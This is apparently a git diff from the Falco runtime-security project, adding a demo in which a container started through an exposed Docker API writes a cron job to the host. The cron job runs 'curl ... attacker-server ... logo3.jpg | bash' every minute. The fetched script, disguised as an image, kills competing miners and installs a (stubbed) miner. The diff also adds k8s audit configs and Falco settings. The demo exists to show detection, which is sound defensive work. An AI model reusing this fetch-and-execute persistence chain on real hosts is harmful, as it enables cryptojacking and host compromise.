+Then run `docker-compose -f demo.yml up --build` to create the `host-machine`, `attacker-server`, and `falco` containers.
+
+You will see fairly verbose output from dockerd:
+
+```
+host-machine_1     | crond: crond (busybox 1.27.2) started, log level 6
+host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="starting containerd" module=containerd revision=9b55aab90508bd389d7654c4baf173a981477d55 version=v1.0.1
+host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.content.v1.content"..." module=containerd type=io.containerd.content.v1
+host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.snapshotter.v1.btrfs"..." module=containerd type=io.containerd.snapshotter.v1
+```
+
+When you see log output like the following, you know that falco is started and ready:
+
+```
+falco_1            | Wed Mar 14 22:37:12 2018: Falco initialized with configuration file /etc/falco/falco.yaml
+falco_1            | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.yaml
+falco_1            | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.local.yaml
+```
+
+### Launch malicious container
+
+To launch the malicious container, we will connect to the docker instance running in `host-machine`, which has exposed port 2375 to the world. We create and start a container via direct use of the docker API (although you can do the same via `docker run -H http://localhost:2375 ...`.
+
+The script `launch_malicious_container.sh` performs the necessary POSTs:
+
+* `http://localhost:2375/images/create?fromImage=alpine&tag=latest`
+* `http://localhost:2375/containers/create?&name=docker123321-mysql`
+* `http://localhost:2375/containers/docker123321-mysql/start`
+
+Run the script via `bash launch_malicious_container.sh`.
+
+### Examine cron output as malicious software is installed & run
+
+`docker123321-mysql` writes the following line to `/mnt/etc/crontabs/root`, which corresponds to `/etc/crontabs/root` on the host:
+
+```
+* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s
+```
+
+It also touches the file `/mnt/etc/crontabs/cron.update`, which corresponds to `/etc/crontabs/cron/update` on the host, to force cron to re-read its cron configuration. This ensures that every minute, cron will download the script (disguised as [logo3.jpg](attacker_files/logo3.jpg))  from `attacker-server` and run it.
+
+You can see `docker123321-mysql` running by checking the container list for the docker instance running in `host-machine` via `docker -H localhost:2375 ps`. You should see output like the following:
+
+```
+CONTAINER ID        IMAGE               COMMAND                  CREATED              STATUS              PORTS               NAMES
+68ed578bd034        alpine:latest       "/bin/sh -c 'echo '*…"   About a minute ago   Up About a minute                       docker123321-mysql
+```
+
+Once the cron job runs, you will see output like the following:
+
+```
+host-machine_1     | crond: USER root pid 187 cmd curl -s http://attacker-server:8220/logo3.jpg | bash -s
+host-machine_1     | ***Checking for existing Miner program
+attacker-server_1  | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /logo3.jpg HTTP/1.1" 200 1963 "-" "curl/7.58.0" "-"
+host-machine_1     | ***Killing competing Miner programs
+host-machine_1     | ***Reinstalling cron job to run Miner program
+host-machine_1     | ***Configuring Miner program
+attacker-server_1  | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /config_1.json HTTP/1.1" 200 50 "-" "curl/7.58.0" "-"
+attacker-server_1  | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /minerd HTTP/1.1" 200 87 "-" "curl/7.58.0" "-"
+host-machine_1     | ***Configuring system for Miner program
+host-machine_1     | vm.nr_hugepages = 9
+host-machine_1     | ***Running Miner program
+host-machine_1     | ***Ensuring Miner program is alive
+host-machine_1     |   238 root       0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
+host-machine_1     | /var/tmp
+host-machine_1     | runing.....
+host-machine_1     | ***Ensuring Miner program is alive
+host-machine_1     |   238 root       0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
+host-machine_1     | /var/tmp
+host-machine_1     | runing.....
+```
+
+### Observe Falco detecting malicious activity
+
+To observe Falco detecting the malicious activity, you can look for `falco_1` lines in the output. Falco will detect the container launch with the sensitive mount:
+
+```
+falco_1            | 22:37:24.478583438: Informational Container with sensitive mount started (user=root command=runc:[1:CHILD] init docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
+falco_1            | 22:37:24.479565025: Informational Container with sensitive mount started (user=root command=sh -c echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && sleep 300 docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
+```
+
+### Cleanup
+
+To tear down the environment, stop the script using ctrl-C and remove everything using `docker-compose -f demo.yml down -v`.
+

examples/bad-mount-cryptomining/attacker-nginx.conf

@@ -0,0 +1,14 @@
+server {
+    listen       8220;
+    server_name  localhost;
+
+    location / {
+        root   /usr/share/nginx/html;
+        index  index.html index.htm;
+    }
+
+    error_page   500 502 503 504  /50x.html;
+    location = /50x.html {
+        root   /usr/share/nginx/html;
+    }
+}

examples/bad-mount-cryptomining/attacker_files/config_1.json

@@ -0,0 +1 @@
+{"config": "some-bitcoin-miner-config-goes-here"}

examples/bad-mount-cryptomining/attacker_files/logo3.jpg

@@ -0,0 +1,64 @@
+#!/bin/sh
+echo "***Checking for existing Miner program"
+ps -fe|grep jaav |grep -v grep
+if [ $? -eq 0 ]
+then
+pwd
+else
+
+echo "***Killing competing Miner programs"
+rm -rf /var/tmp/ysjswirmrm.conf
+rm -rf /var/tmp/sshd
+ps auxf|grep -v grep|grep -v ovpvwbvtat|grep "/tmp/"|awk '{print $2}'|xargs -r kill -9
+ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs -r kill -9
+ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs -r kill -9
+ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs -r kill -9
+ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs -r kill -9
+ps auxf|grep -v grep|grep "ysjswirmrm"|awk '{print $2}'|xargs -r kill -9
+
+echo "***Reinstalling cron job to run Miner program"
+crontab -r || true && \
+echo "* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s" >> /tmp/cron || true && \
+crontab /tmp/cron || true && \
+rm -rf /tmp/cron || true
+
+echo "***Configuring Miner program"
+curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
+curl -so /var/tmp/jaav http://attacker-server:8220/minerd
+chmod 777 /var/tmp/jaav
+cd /var/tmp
+
+echo "***Configuring system for Miner program"
+cd /var/tmp
+proc=`grep -c ^processor /proc/cpuinfo`
+cores=$(($proc+1))
+num=$(($cores*3))
+/sbin/sysctl -w vm.nr_hugepages=$num
+
+echo "***Running Miner program"
+nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
+fi
+
+echo "***Ensuring Miner program is alive"
+ps -fe|grep jaav |grep -v grep
+if [ $? -eq 0 ]
+then
+pwd
+else
+
+echo "***Reconfiguring Miner program"
+curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
+curl -so /var/tmp/jaav http://attacker-server:8220/minerd
+chmod 777 /var/tmp/jaav
+cd /var/tmp
+
+echo "***Reconfiguring system for Miner program"
+proc=`grep -c ^processor /proc/cpuinfo`
+cores=$(($proc+1))
+num=$(($cores*3))
+/sbin/sysctl -w vm.nr_hugepages=$num
+
+echo "***Restarting Miner program"
+nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
+fi
+echo "runing....."

examples/bad-mount-cryptomining/attacker_files/minerd

@@ -0,0 +1,8 @@
+#!/bin/bash
+
+while true; do
+      echo "Mining bitcoins..."
+      sleep 60
+done
+
+      

examples/bad-mount-cryptomining/demo.yml

@@ -0,0 +1,41 @@
+version: '3'
+
+volumes:
+  host-filesystem:
+  docker-socket:
+
+services:
+  host-machine:
+    privileged: true
+    build:
+      context: ${PWD}/host-machine
+      dockerfile: ${PWD}/host-machine/Dockerfile
+    volumes:
+      - host-filesystem:/etc
+      - docker-socket:/var/run
+    ports:
+      - "2375:2375"
+    depends_on:
+      - "falco"
+
+  attacker-server:
+    image: nginx:latest
+    ports:
+      - "8220:8220"
+    volumes:
+      - ${PWD}/attacker_files:/usr/share/nginx/html
+      - ${PWD}/attacker-nginx.conf:/etc/nginx/conf.d/default.conf
+    depends_on:
+      - "falco"      
+  
+  falco:
+    image: sysdig/falco:latest
+    privileged: true
+    volumes:
+      - docker-socket:/host/var/run
+      - /dev:/host/dev
+      - /proc:/host/proc:ro
+      - /boot:/host/boot:ro
+      - /lib/modules:/host/lib/modules:ro
+      - /usr:/host/usr:ro
+    tty: true

examples/bad-mount-cryptomining/docker123321-mysql-container.json

@@ -0,0 +1,7 @@
+{
+    "Cmd": ["/bin/sh", "-c", "echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && touch /mnt/etc/crontabs/cron.update && sleep 300"],
+    "Image": "alpine:latest",
+    "HostConfig": {
+	"Binds": ["/etc:/mnt/etc"]
+    }
+}

examples/bad-mount-cryptomining/host-machine/Dockerfile

@@ -0,0 +1,12 @@
+FROM docker:stable-dind
+
+RUN set -ex \
+    && apk add --no-cache \
+    bash curl
+
+COPY start-cron-and-dind.sh /usr/local/bin
+
+ENTRYPOINT ["start-cron-and-dind.sh"]
+CMD []
+
+

examples/bad-mount-cryptomining/host-machine/start-cron-and-dind.sh

@@ -0,0 +1,11 @@
+#!/bin/sh
+
+# Start docker-in-docker, but backgrounded with its output still going
+# to stdout/stderr.
+dockerd-entrypoint.sh &
+
+# Start cron in the foreground with a moderate level of debugging to
+# see job output.
+crond -f -d 6
+
+

examples/bad-mount-cryptomining/launch_malicious_container.sh

@@ -0,0 +1,14 @@
+#!/bin/sh
+
+echo "Pulling alpine:latest image to docker-in-docker instance"
+curl -X POST 'http://localhost:2375/images/create?fromImage=alpine&tag=latest'
+
+echo "Creating container mounting /etc from host-machine"
+curl -H 'Content-Type: application/json' -d @docker123321-mysql-container.json -X POST 'http://localhost:2375/containers/create?&name=docker123321-mysql'
+
+echo "Running container mounting /etc from host-machine"
+curl -H 'Content-Type: application/json' -X POST 'http://localhost:2375/containers/docker123321-mysql/start'
+
+
+
+

examples/k8s_audit_config/README.md

@@ -0,0 +1,23 @@
+# Introduction
+
+The files in this directory can be used to configure k8s audit logging. The relevant files are:
+
+* [audit-policy.yaml](./audit-policy.yaml): The k8s audit log configuration we used to create the rules in [k8s_audit_rules.yaml](../../rules/k8s_audit_rules.yaml). You may find it useful as a reference when creating your own K8s Audit Log configuration.
+* [webhook-config.yaml](./webhook-config.yaml): A webhook configuration that sends audit events to localhost, port 8765. You may find it useful as a starting point when deciding how to route audit events to the embedded webserver within falco.
+
+This file is only needed when using Minikube, which doesn't currently
+have the ability to provide an audit config/webhook config directly
+from the minikube commandline. See [this issue](https://github.com/kubernetes/minikube/issues/2741) for more details.
+
+* [apiserver-config.patch.sh](./apiserver-config.patch.sh): A script that changes the configuration file `/etc/kubernetes/manifests/kube-apiserver.yaml` to add necessary config options and mounts for the kube-apiserver container that runs within the minikube vm.
+
+A way to use these files with minikube to enable audit logging would be to run the following commands, from this directory:
+
+```
+minikube start --kubernetes-version v1.11.0 --mount --mount-string $PWD:/tmp/k8s_audit_config --feature-gates AdvancedAuditing=true
+ssh -i $(minikube ssh-key) docker@$(minikube ip) sudo bash /tmp/k8s_audit_config/apiserver-config.patch.sh
+ssh -i $(minikube ssh-key) -R 8765:localhost:8765 docker@$(minikube ip)
+```
+
+K8s audit events will then be sent to localhost on the host (not minikube vm) machine, port 8765.
+

examples/k8s_audit_config/apiserver-config.patch.sh

@@ -0,0 +1,40 @@
+#!/bin/sh
+
+IFS=''
+
+FILENAME="/etc/kubernetes/manifests/kube-apiserver.yaml"
+
+if grep audit-webhook-config-file $FILENAME ; then
+    echo audit-webhook patch already applied
+    exit 0
+fi
+
+TMPFILE="/tmp/kube-apiserver.yaml.patched"
+rm -f "$TMPFILE"
+
+while read LINE
+do
+    echo "$LINE" >> "$TMPFILE"
+    case "$LINE" in
+        *"- kube-apiserver"*)
+            echo "    - --audit-log-path=/tmp/k8s_audit_config/audit.log" >> "$TMPFILE"
+            echo "    - --audit-policy-file=/tmp/k8s_audit_config/audit-policy.yaml" >> "$TMPFILE"
+            echo "    - --audit-webhook-config-file=/tmp/k8s_audit_config/webhook-config.yaml" >> "$TMPFILE"
+            echo "    - --audit-webhook-batch-max-wait=5s" >> "$TMPFILE"
+            ;;
+        *"volumeMounts:"*)
+            echo "    - mountPath: /tmp/k8s_audit_config/" >> "$TMPFILE"
+            echo "      name: data" >> "$TMPFILE"
+            ;;
+        *"volumes:"*)
+            echo "  - hostPath:" >> "$TMPFILE"
+            echo "      path: /tmp/k8s_audit_config" >> "$TMPFILE"
+            echo "    name: data" >> "$TMPFILE"
+            ;;
+
+    esac
+done < "$FILENAME"
+
+cp "$FILENAME" "/tmp/kube-apiserver.yaml.original"
+cp "$TMPFILE" "$FILENAME"
+

examples/k8s_audit_config/audit-policy.yaml

@@ -0,0 +1,76 @@
+apiVersion: audit.k8s.io/v1beta1 # This is required.
+kind: Policy
+# Don't generate audit events for all requests in RequestReceived stage.
+omitStages:
+  - "RequestReceived"
+rules:
+  # Log pod changes at RequestResponse level
+  - level: RequestResponse
+    resources:
+    - group: ""
+      # Resource "pods" doesn't match requests to any subresource of pods,
+      # which is consistent with the RBAC policy.
+      resources: ["pods", "deployments"]
+
+  - level: RequestResponse
+    resources:
+    - group: "rbac.authorization.k8s.io"
+      # Resource "pods" doesn't match requests to any subresource of pods,
+      # which is consistent with the RBAC policy.
+      resources: ["clusterroles", "clusterrolebindings"]
+
+  # Log "pods/log", "pods/status" at Metadata level
+  - level: Metadata
+    resources:
+    - group: ""
+      resources: ["pods/log", "pods/status"]
+
+  # Don't log requests to a configmap called "controller-leader"
+  - level: None
+    resources:
+    - group: ""
+      resources: ["configmaps"]
+      resourceNames: ["controller-leader"]
+
+  # Don't log watch requests by the "system:kube-proxy" on endpoints or services
+  - level: None
+    users: ["system:kube-proxy"]
+    verbs: ["watch"]
+    resources:
+    - group: "" # core API group
+      resources: ["endpoints", "services"]
+
+  # Don't log authenticated requests to certain non-resource URL paths.
+  - level: None
+    userGroups: ["system:authenticated"]
+    nonResourceURLs:
+    - "/api*" # Wildcard matching.
+    - "/version"
+
+  # Log the request body of configmap changes in kube-system.
+  - level: Request
+    resources:
+    - group: "" # core API group
+      resources: ["configmaps"]
+    # This rule only applies to resources in the "kube-system" namespace.
+    # The empty string "" can be used to select non-namespaced resources.
+    namespaces: ["kube-system"]
+
+  # Log configmap and secret changes in all other namespaces at the RequestResponse level.
+  - level: RequestResponse
+    resources:
+    - group: "" # core API group
+      resources: ["secrets", "configmaps"]
+
+  # Log all other resources in core and extensions at the Request level.
+  - level: Request
+    resources:
+    - group: "" # core API group
+    - group: "extensions" # Version of group should NOT be included.
+
+  # A catch-all rule to log all other requests at the Metadata level.
+  - level: Metadata
+    # Long-running requests like watches that fall under this rule will not
+    # generate an audit event in RequestReceived.
+    omitStages:
+      - "RequestReceived"

examples/k8s_audit_config/webhook-config.yaml

@@ -0,0 +1,14 @@
+apiVersion: v1
+kind: Config
+clusters:
+- name: falco
+  cluster:
+    server: http://127.0.0.1:8765/k8s_audit
+contexts:
+- context:
+    cluster: falco
+    user: ""
+  name: default-context
+current-context: default-context
+preferences: {}
+users: []

examples/mitm-sh-installer/web_root/install-software.sh

@@ -1,21 +1,22 @@
 #!/bin/bash
 #
-# Copyright (C) 2013-2014 My Company inc.
+# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
 #
-# This file is part of my-software
+# This file is part of falco.
 #
-# my-software is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License version 2 as
-# published by the Free Software Foundation.
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
 #
-# my-software is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
+#     http://www.apache.org/licenses/LICENSE-2.0
 #
-# You should have received a copy of the GNU General Public License
-# along with my-software.  If not, see <http://www.gnu.org/licenses/>.
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
 #
+
 set -e
 
 function install_rpm {

examples/nodejs-bad-rest-api/README.md

@@ -42,7 +42,7 @@ This starts the following containers:
 Run the following commands to execute arbitrary commands like 'ls', 'pwd', etc:
 
 ```
-$ curl http://localhost:8080/api/exec/ls
+$ curl http://localhost:8181/api/exec/ls
 
 demo.yml
 node_modules
@@ -52,7 +52,7 @@ server.js
 ```
 
 ```
-$ curl http://localhost:8080/api/exec/pwd
+$ curl http://localhost:8181/api/exec/pwd
 
 .../examples/nodejs-bad-rest-api
 ```

examples/nodejs-bad-rest-api/demo.yml

@@ -1,7 +1,7 @@
 express_server:
   container_name: express_server
   image: node:latest
-  command: bash -c "apt-get -y update && apt-get -y install runit && npm install && runsv /usr/src/app"
+  command: bash -c "apt-get -y update && apt-get -y install runit && cd /usr/src/app && npm install && runsv /usr/src/app"
   ports:
     - "8181:8181"
   volumes:

examples/nodejs-bad-rest-api/package.json

@@ -2,6 +2,6 @@
     "name": "bad-rest-api",
     "main": "server.js",
     "dependencies": {
-	"express": "~4.0.0"
+        "express": "~4.16.0"
     }
 }

falco.yaml

@@ -1,4 +1,25 @@
-# File(s) containing Falco rules, loaded at startup.
+#
+# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
+#
+# This file is part of falco .
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+# File(s) or Directories containing Falco rules, loaded at startup.
+# The name "rules_file" is only for backwards compatibility.
+# If the entry is a file, it will be read directly. If the entry is a directory,
+# every file in that directory will be read, in alphabetical order.
 #
 # falco_rules.yaml ships with the falco package and is overridden with
 # every new software version. falco_rules.local.yaml is only created
@@ -10,10 +31,17 @@
 rules_file:
  - /etc/falco/falco_rules.yaml
  - /etc/falco/falco_rules.local.yaml
+ - /etc/falco/k8s_audit_rules.yaml
+ - /etc/falco/rules.d
 
 # Whether to output events in json or text
 json_output: false
 
+# When using json output, whether or not to include the "output" property
+# itself (e.g. "File below a known binary directory opened for writing
+# (user=root ....") in the json output.
+json_include_output_property: true
+
 # Send information logs to stderr and/or syslog Note these are *not* security
 # notification logs! These are just Falco lifecycle (and possibly error) logs.
 log_stderr: true
@@ -61,6 +89,10 @@ syslog_output:
 # continuously written to, with each output message on its own
 # line. If keep_alive is set to false, the file will be re-opened
 # for each output message.
+#
+# Also, the file will be closed and reopened if falco is signaled with
+# SIGUSR1.
+
 file_output:
   enabled: false
   keep_alive: false
@@ -69,6 +101,15 @@ file_output:
 stdout_output:
   enabled: true
 
+# Falco contains an embedded webserver that can be used to accept K8s
+# Audit Events. These config options control the behavior of that
+# webserver. (By default, the webserver is disabled).
+#  enabled: false
+webserver:
+  enabled: true
+  listen_port: 8765
+  k8s_audit_endpoint: /k8s_audit
+
 # Possible additional things you might want to do with program output:
 #   - send to a slack webhook:
 #         program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/XXX"
@@ -81,7 +122,9 @@ stdout_output:
 # continuously written to, with each output message on its own
 # line. If keep_alive is set to false, the program will be re-spawned
 # for each output message.
-
+#
+# Also, the program will be closed and reopened if falco is signaled with
+# SIGUSR1.
 program_output:
   enabled: false
   keep_alive: false

integrations/anchore-falco/Dockerfile

@@ -0,0 +1,13 @@
+FROM python:3-stretch
+
+RUN pip install pipenv
+
+WORKDIR /app
+
+ADD Pipfile /app/Pipfile
+ADD Pipfile.lock /app/Pipfile.lock
+RUN pipenv install --system --deploy
+
+ADD . /app
+
+CMD ["python", "main.py"]

integrations/anchore-falco/Pipfile

@@ -0,0 +1,16 @@
+[[source]]
+url = "https://pypi.python.org/simple"
+verify_ssl = true
+name = "pypi"
+
+[dev-packages]
+doublex-expects = "==0.7.0rc2"
+doublex = "*"
+mamba = "*"
+expects = "*"
+
+[packages]
+requests = "*"
+
+[requires]
+python_version = "3.6"

integrations/anchore-falco/Pipfile.lock

@@ -0,0 +1,156 @@
+{
+    "_meta": {
+        "hash": {
+            "sha256": "f2737a14e8f562cf355e13ae09f1eed0f80415effd2aa01b86125e94523da345"
+        },
+        "pipfile-spec": 6,
+        "requires": {
+            "python_version": "3.6"
+        },
+        "sources": [
+            {
+                "name": "pypi",
+                "url": "https://pypi.python.org/simple",
+                "verify_ssl": true
+            }
+        ]
+    },
+    "default": {
+        "certifi": {
+            "hashes": [
+                "sha256:13e698f54293db9f89122b0581843a782ad0934a4fe0172d2a980ba77fc61bb7",
+                "sha256:9fa520c1bacfb634fa7af20a76bcbd3d5fb390481724c597da32c719a7dca4b0"
+            ],
+            "version": "==2018.4.16"
+        },
+        "chardet": {
+            "hashes": [
+                "sha256:84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae",
+                "sha256:fc323ffcaeaed0e0a02bf4d117757b98aed530d9ed4531e3e15460124c106691"
+            ],
+            "version": "==3.0.4"
+        },
+        "idna": {
+            "hashes": [
+                "sha256:156a6814fb5ac1fc6850fb002e0852d56c0c8d2531923a51032d1b70760e186e",
+                "sha256:684a38a6f903c1d71d6d5fac066b58d7768af4de2b832e426ec79c30daa94a16"
+            ],
+            "version": "==2.7"
+        },
+        "requests": {
+            "hashes": [
+                "sha256:63b52e3c866428a224f97cab011de738c36aec0185aa91cfacd418b5d58911d1",
+                "sha256:ec22d826a36ed72a7358ff3fe56cbd4ba69dd7a6718ffd450ff0e9df7a47ce6a"
+            ],
+            "index": "pypi",
+            "version": "==2.19.1"
+        },
+        "urllib3": {
+            "hashes": [
+                "sha256:a68ac5e15e76e7e5dd2b8f94007233e01effe3e50e8daddf69acfd81cb686baf",
+                "sha256:b5725a0bd4ba422ab0e66e89e030c806576753ea3ee08554382c14e685d117b5"
+            ],
+            "version": "==1.23"
+        }
+    },
+    "develop": {
+        "args": {
+            "hashes": [
+                "sha256:a785b8d837625e9b61c39108532d95b85274acd679693b71ebb5156848fcf814"
+            ],
+            "version": "==0.1.0"
+        },
+        "clint": {
+            "hashes": [
+                "sha256:05224c32b1075563d0b16d0015faaf9da43aa214e4a2140e51f08789e7a4c5aa"
+            ],
+            "version": "==0.5.1"
+        },
+        "coverage": {
+            "hashes": [
+                "sha256:03481e81d558d30d230bc12999e3edffe392d244349a90f4ef9b88425fac74ba",
+                "sha256:0b136648de27201056c1869a6c0d4e23f464750fd9a9ba9750b8336a244429ed",
+                "sha256:104ab3934abaf5be871a583541e8829d6c19ce7bde2923b2751e0d3ca44db60a",
+                "sha256:15b111b6a0f46ee1a485414a52a7ad1d703bdf984e9ed3c288a4414d3871dcbd",
+                "sha256:198626739a79b09fa0a2f06e083ffd12eb55449b5f8bfdbeed1df4910b2ca640",
+                "sha256:1c383d2ef13ade2acc636556fd544dba6e14fa30755f26812f54300e401f98f2",
+                "sha256:28b2191e7283f4f3568962e373b47ef7f0392993bb6660d079c62bd50fe9d162",
+                "sha256:2eb564bbf7816a9d68dd3369a510be3327f1c618d2357fa6b1216994c2e3d508",
+                "sha256:337ded681dd2ef9ca04ef5d93cfc87e52e09db2594c296b4a0a3662cb1b41249",
+                "sha256:3a2184c6d797a125dca8367878d3b9a178b6fdd05fdc2d35d758c3006a1cd694",
+                "sha256:3c79a6f7b95751cdebcd9037e4d06f8d5a9b60e4ed0cd231342aa8ad7124882a",
+                "sha256:3d72c20bd105022d29b14a7d628462ebdc61de2f303322c0212a054352f3b287",
+                "sha256:3eb42bf89a6be7deb64116dd1cc4b08171734d721e7a7e57ad64cc4ef29ed2f1",
+                "sha256:4635a184d0bbe537aa185a34193898eee409332a8ccb27eea36f262566585000",
+                "sha256:56e448f051a201c5ebbaa86a5efd0ca90d327204d8b059ab25ad0f35fbfd79f1",
+                "sha256:5a13ea7911ff5e1796b6d5e4fbbf6952381a611209b736d48e675c2756f3f74e",
+                "sha256:69bf008a06b76619d3c3f3b1983f5145c75a305a0fea513aca094cae5c40a8f5",
+                "sha256:6bc583dc18d5979dc0f6cec26a8603129de0304d5ae1f17e57a12834e7235062",
+                "sha256:701cd6093d63e6b8ad7009d8a92425428bc4d6e7ab8d75efbb665c806c1d79ba",
+                "sha256:7608a3dd5d73cb06c531b8925e0ef8d3de31fed2544a7de6c63960a1e73ea4bc",
+                "sha256:76ecd006d1d8f739430ec50cc872889af1f9c1b6b8f48e29941814b09b0fd3cc",
+                "sha256:7aa36d2b844a3e4a4b356708d79fd2c260281a7390d678a10b91ca595ddc9e99",
+                "sha256:7d3f553904b0c5c016d1dad058a7554c7ac4c91a789fca496e7d8347ad040653",
+                "sha256:7e1fe19bd6dce69d9fd159d8e4a80a8f52101380d5d3a4d374b6d3eae0e5de9c",
+                "sha256:8c3cb8c35ec4d9506979b4cf90ee9918bc2e49f84189d9bf5c36c0c1119c6558",
+                "sha256:9d6dd10d49e01571bf6e147d3b505141ffc093a06756c60b053a859cb2128b1f",
+                "sha256:9e112fcbe0148a6fa4f0a02e8d58e94470fc6cb82a5481618fea901699bf34c4",
+                "sha256:ac4fef68da01116a5c117eba4dd46f2e06847a497de5ed1d64bb99a5fda1ef91",
+                "sha256:b8815995e050764c8610dbc82641807d196927c3dbed207f0a079833ffcf588d",
+                "sha256:be6cfcd8053d13f5f5eeb284aa8a814220c3da1b0078fa859011c7fffd86dab9",
+                "sha256:c1bb572fab8208c400adaf06a8133ac0712179a334c09224fb11393e920abcdd",
+                "sha256:de4418dadaa1c01d497e539210cb6baa015965526ff5afc078c57ca69160108d",
+                "sha256:e05cb4d9aad6233d67e0541caa7e511fa4047ed7750ec2510d466e806e0255d6",
+                "sha256:e4d96c07229f58cb686120f168276e434660e4358cc9cf3b0464210b04913e77",
+                "sha256:f3f501f345f24383c0000395b26b726e46758b71393267aeae0bd36f8b3ade80",
+                "sha256:f8a923a85cb099422ad5a2e345fe877bbc89a8a8b23235824a93488150e45f6e"
+            ],
+            "version": "==4.5.1"
+        },
+        "doublex": {
+            "hashes": [
+                "sha256:062af49d9e4148bc47b7512d3fdc8e145dea4671d074ffd54b2464a19d3757ab"
+            ],
+            "index": "pypi",
+            "version": "==1.8.4"
+        },
+        "doublex-expects": {
+            "hashes": [
+                "sha256:5421bd92319c77ccc5a81d595d06e9c9f7f670de342b33e8007a81e70f9fade8"
+            ],
+            "index": "pypi",
+            "version": "==0.7.0rc2"
+        },
+        "expects": {
+            "hashes": [
+                "sha256:37538d7b0fa9c0d53e37d07b0e8c07d89754d3deec1f0f8ed1be27f4f10363dd"
+            ],
+            "index": "pypi",
+            "version": "==0.8.0"
+        },
+        "mamba": {
+            "hashes": [
+                "sha256:63e70a8666039cf143a255000e23f29be4ea4b5b8169f2b053f94eb73a2ea9e2"
+            ],
+            "index": "pypi",
+            "version": "==0.9.3"
+        },
+        "pyhamcrest": {
+            "hashes": [
+                "sha256:6b672c02fdf7470df9674ab82263841ce8333fb143f32f021f6cb26f0e512420",
+                "sha256:7a4bdade0ed98c699d728191a058a60a44d2f9c213c51e2dd1e6fb42f2c6128a",
+                "sha256:8ffaa0a53da57e89de14ced7185ac746227a8894dbd5a3c718bf05ddbd1d56cd",
+                "sha256:bac0bea7358666ce52e3c6c85139632ed89f115e9af52d44b3c36e0bf8cf16a9",
+                "sha256:f30e9a310bcc1808de817a92e95169ffd16b60cbc5a016a49c8d0e8ababfae79"
+            ],
+            "version": "==1.9.0"
+        },
+        "six": {
+            "hashes": [
+                "sha256:70e8a77beed4562e7f14fe23a786b54f6296e34344c23bc42f07b15018ff98e9",
+                "sha256:832dc0e10feb1aa2c68dcc57dbb658f1c7e65b9b61af69048abc87a2db00a0eb"
+            ],
+            "version": "==1.11.0"
+        }
+    }
+}

integrations/anchore-falco/README.md

@@ -0,0 +1,89 @@
+# Create Falco rule from Anchore policy result
+
+This integration creates a rule for Sysdig Falco based on Anchore policy result.
+So that when we will try to run an image which has a ```stop``` final action result
+in Anchore, Falco will alert us.
+
+## Getting started
+
+### Prerequisites
+
+For running this integration you will need:
+
+* Python 3.6
+* pipenv
+* An [anchore-engine](https://github.com/anchore/anchore-engine) running
+
+### Configuration
+
+This integration uses the [same environment variables that anchore-cli](https://github.com/anchore/anchore-cli#configuring-the-anchore-cli):
+
+* ANCHORE_CLI_USER: The user used to conect to anchore-engine. By default is ```admin```
+* ANCHORE_CLI_PASS: The password used to connect to anchore-engine.
+* ANCHORE_CLI_URL: The url where anchore-engine listens. Make sure does not end with a slash. By default is ```http://localhost:8228/v1```
+* ANCHORE_CLI_SSL_VERIFY: Flag for enabling if HTTP client verifies SSL. By default is ```true```
+
+### Running
+
+This is a Python program which generates a Falco rule based on anchore-engine
+information:
+
+```
+pipenv run python main.py
+```
+
+And this will output something like:
+
+
+```yaml
+- macro: anchore_stop_policy_evaluation_containers
+  condition: container.image.id in ("8626492fecd368469e92258dfcafe055f636cb9cbc321a5865a98a0a6c99b8dd", "e86d9bb526efa0b0401189d8df6e3856d0320a3d20045c87b4e49c8a8bdb22c1")
+
+- rule: Run Anchore Containers with Stop Policy Evaluation
+  desc: Detect containers which does not receive a positive Policy Evaluation from Anchore Engine.
+
+  condition: evt.type=execve and proc.vpid=1 and container and anchore_stop_policy_evaluation_containers
